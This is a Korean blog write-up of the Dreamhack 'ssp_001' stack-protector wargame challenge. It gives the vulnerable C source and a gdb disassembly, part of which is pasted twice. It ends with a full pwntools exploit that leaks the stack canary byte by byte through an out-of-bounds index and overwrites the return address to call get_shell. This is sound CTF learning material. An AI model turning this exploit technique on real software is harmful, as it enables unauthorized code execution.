외로운 Nova의 작업실

dreamhack 시스템해킹 - 12(ssp_001 문제 풀이) 본문

Computer App Penetesting/System Vulnerability

dreamhack 시스템해킹 - 12(ssp_001 문제 풀이)

Nova_ 2023. 2. 22. 18:07

- 문제 인식

 

canary가 있고 NX(NoeXcute)가 활성화 되어있습니다. 32비트 우분투 16.04 os임을 알 수 있습니다. 문제 파일을 보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

get_shell 이라는 함수가 정의되어있습니다. NX가 활성화되어있으니 get_shell의 주소를 찾고 스택버퍼오버플로우를 이용해서 ret값에 get_shell 주소 값을 넣어줘야겠습니다.

 

- Exploit 자료 얻기

실제 우분투 16.04 에서 문제파일을 32비트로 컴파일하고 dbg로 디버깅해봤습니다.

Dump of assembler code for function main:
0x0804872b <+0>:	push   ebp
0x0804872c <+1>:	mov    ebp,esp
0x0804872e <+3>:	push   edi
=> 0x0804872f <+4>:	sub    esp,0x94
0x08048735 <+10>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>:	mov    DWORD PTR [ebp-0x98],eax
0x0804873e <+19>:	mov    eax,gs:0x14
0x08048744 <+25>:	mov    DWORD PTR [ebp-0x8],eax
0x08048747 <+28>:	xor    eax,eax
0x08048749 <+30>:	lea    edx,[ebp-0x88]
0x0804874f <+36>:	mov    eax,0x0
0x08048754 <+41>:	mov    ecx,0x10
0x08048759 <+46>:	mov    edi,edx
0x0804875b <+48>:	rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>:	lea    edx,[ebp-0x48]
0x08048760 <+53>:	mov    eax,0x0
0x08048765 <+58>:	mov    ecx,0x10
0x0804876a <+63>:	mov    edi,edx
0x0804876c <+65>:	rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>:	mov    WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>:	mov    DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>:	mov    DWORD PTR [ebp-0x90],0x0

0x0804878b <+96>:	call   0x8048672 <initialize>
0x08048790 <+101>:	call   0x80486f1 <menu>
0x08048795 <+106>:	push   0x2
0x08048797 <+108>:	lea    eax,[ebp-0x8a]
0x0804879d <+114>:	push   eax
0x0804879e <+115>:	push   0x0
0x080487a0 <+117>:	call   0x80484a0 [read@plt](mailto:read@plt)
0x080487a5 <+122>:	add    esp,0xc
0x080487a8 <+125>:	movzx  eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>:	movsx  eax,al
0x080487b2 <+135>:	cmp    eax,0x46
0x080487b5 <+138>:	je     0x80487c6 <main+155>
0x080487b7 <+140>:	cmp    eax,0x50
0x080487ba <+143>:	je     0x80487eb <main+192>
0x080487bc <+145>:	cmp    eax,0x45
0x080487bf <+148>:	je     0x8048824 <main+249>
0x080487c1 <+150>:	jmp    0x804887a <main+335>
0x080487c6 <+155>:	push   0x804896c
0x080487cb <+160>:	call   0x80484b0 [printf@plt](mailto:printf@plt)
0x080487d0 <+165>:	add    esp,0x4
0x080487d3 <+168>:	push   0x40
0x080487d5 <+170>:	lea    eax,[ebp-0x88]
0x080487db <+176>:	push   eax

0x080487dc <+177>:	push   0x0
0x080487de <+179>:	call   0x80484a0 [read@plt](mailto:read@plt)
0x080487e3 <+184>:	add    esp,0xc
0x080487e6 <+187>:	jmp    0x804887a <main+335>
0x080487eb <+192>:	push   0x8048979
0x080487f0 <+197>:	call   0x80484b0 [printf@plt](mailto:printf@plt)
0x080487f5 <+202>:	add    esp,0x4
0x080487f8 <+205>:	lea    eax,[ebp-0x94]
0x080487fe <+211>:	push   eax
0x080487ff <+212>:	push   0x804898a
0x08048804 <+217>:	call   0x8048540 [__isoc99_scanf@plt](mailto:__isoc99_scanf@plt)
0x08048809 <+222>:	add    esp,0x8
0x0804880c <+225>:	mov    eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>:	push   eax
0x08048813 <+232>:	lea    eax,[ebp-0x88]
0x08048819 <+238>:	push   eax
0x0804881a <+239>:	call   0x80486cc <print_box>
0x0804881f <+244>:	add    esp,0x8
0x08048822 <+247>:	jmp    0x804887a <main+335>
0x08048824 <+249>:	push   0x804898d
0x08048829 <+254>:	call   0x80484b0 [printf@plt](mailto:printf@plt)
0x0804882e <+259>:	add    esp,0x4
0x08048831 <+262>:	lea    eax,[ebp-0x90]

0x08048837 <+268>:	push   eax
0x08048838 <+269>:	push   0x804898a
0x0804883d <+274>:	call   0x8048540 [__isoc99_scanf@plt](mailto:__isoc99_scanf@plt)
0x08048842 <+279>:	add    esp,0x8
0x08048845 <+282>:	push   0x804899a
0x0804884a <+287>:	call   0x80484b0 [printf@plt](mailto:printf@plt)
0x0804884f <+292>:	add    esp,0x4
0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>:	push   eax
0x08048859 <+302>:	lea    eax,[ebp-0x48]
0x0804885c <+305>:	push   eax
0x0804885d <+306>:	push   0x0
0x0804885f <+308>:	call   0x80484a0 [read@plt](mailto:read@plt)
0x08048864 <+313>:	add    esp,0xc
0x08048867 <+316>:	mov    eax,0x0
0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
0x08048876 <+331>:	je     0x8048884 <main+345>
0x08048878 <+333>:	jmp    0x804887f <main+340>
0x0804887a <+335>:	jmp    0x8048790 <main+101>
0x0804887f <+340>:	call   0x80484e0 [__stack_chk_fail@plt](mailto:__stack_chk_fail@plt)
0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>:	leave

0x08048837 <+268>:	push   eax
0x08048838 <+269>:	push   0x804898a
0x0804883d <+274>:	call   0x8048540 [__isoc99_scanf@plt](mailto:__isoc99_scanf@plt)
0x08048842 <+279>:	add    esp,0x8
0x08048845 <+282>:	push   0x804899a
0x0804884a <+287>:	call   0x80484b0 [printf@plt](mailto:printf@plt)
0x0804884f <+292>:	add    esp,0x4
0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>:	push   eax
0x08048859 <+302>:	lea    eax,[ebp-0x48]
0x0804885c <+305>:	push   eax
0x0804885d <+306>:	push   0x0
0x0804885f <+308>:	call   0x80484a0 [read@plt](mailto:read@plt)
0x08048864 <+313>:	add    esp,0xc
0x08048867 <+316>:	mov    eax,0x0
0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
0x08048876 <+331>:	je     0x8048884 <main+345>
0x08048878 <+333>:	jmp    0x804887f <main+340>
0x0804887a <+335>:	jmp    0x8048790 <main+101>
0x0804887f <+340>:	call   0x80484e0 [__stack_chk_fail@plt](mailto:__stack_chk_fail@plt)
0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>:	leave
---Type <return> to continue, or q <return> to quit---
0x08048888 <+349>:	ret
End of assembler dump.

해당 리버싱으로 스택의 구조를 알 수 있습니다.

또한 get_shell의 주소를 알아봤습니다.

0x080486b9가 get_shell 함수의 주소임을 알 수 있습니다.

 

- Exploit

이제 위 자료들을 가지고 Exploit을 해보겠습니다. 익스플로잇의 중요한 점은 카나리 값을 얻어내는 것입니다. 카나리 값을 얻어내는 방법은 서버쪽에 P 값을주고 index값을 128을 주면 첫번째 카나리 값을 구할 수 있습니다. 이런 index 취약점으로 exploit 할 수있습니다. 아래는 Payload 입니다.

from pwn import *

p = remote("host3.dreamhack.games", 14044)

canary = b""

i = 131
while i >= 128:
    buf = p.recvuntil(b"> ")
    print(buf)

    p.sendline(b"P")
    buf = p.recvuntil(b"index : ")
    print(buf)

    p.sendline(str(i).encode(encoding='utf-8'))
    print(i)
    p.recvuntil(b"is : ")
    buf = p.recvuntil(b"\n")[:-1]
    print(buf)
    canary += buf
    print(canary)
    i -= 1

canary_int = int(canary, 16)
add_get_shell = 0x080486b9
payload = b"A" * 0x40 + p32(canary_int) + b"A" * 0x8 + p32(add_get_shell)

buf = p.recvuntil(b"> ")
print(buf)

p.send(b"E")
buf = p.recvuntil(b"Size : ")
print(buf)

p.sendline(b"100")
buf = p.recvuntil(b"Name : ")
print(buf)

p.sendline(payload)
print(payload)

p.interactive()

위 코드를 실행하게되면

flag 값을 얻어낼 수 있습니다.

Comments